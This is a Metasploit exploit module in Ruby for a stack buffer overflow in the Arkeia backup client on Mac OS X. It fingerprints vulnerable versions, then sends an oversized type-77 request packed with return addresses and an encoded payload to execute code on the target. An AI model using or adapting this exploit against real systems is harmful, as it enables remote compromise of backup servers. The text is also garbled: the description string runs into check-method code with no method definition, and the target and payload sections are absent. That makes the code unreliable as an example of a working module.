##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Arkeia
def initialize(info = {})
super(update_info(info,
'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)',
'Description' => %q{
This module exploits a stack overflow in the Arkeia backup
client for the Mac OS X platform. This vulnerability affects
all versions up to and including 5.3.3 and has been tested
with Arkeia 5.3.1 on Mac OS X 10.3.5.
if (info['System'] !~ /Darwin/)
print_status("This module only supports Mac OS X targets")
return Exploit::CheckCode::Detected
end
if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
# Request has to be big enough to find and small enough
# not to write off the end of the stack. If we write too
# far down, we also smash env[], which causes a crash in
# getenv() before our function returns.
head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
head[6, 2] = [1200].pack('n')
buf = rand_text_english(1200, payload_badchars)
# Return back to the stack either directly or via system lib
buf[0, 112] = [target.ret].pack('N') * (112/4)
# Huge nop slep followed by the payload
buf[112, payload.encoded.length] = payload.encoded
print_status("Sending request...")
begin
sock.put(head)
sock.put(buf)
sock.get_once
rescue IOError, EOFError => e
print_status("Exception: #{e.class}:#{e}")
end
handler
disconnect
end
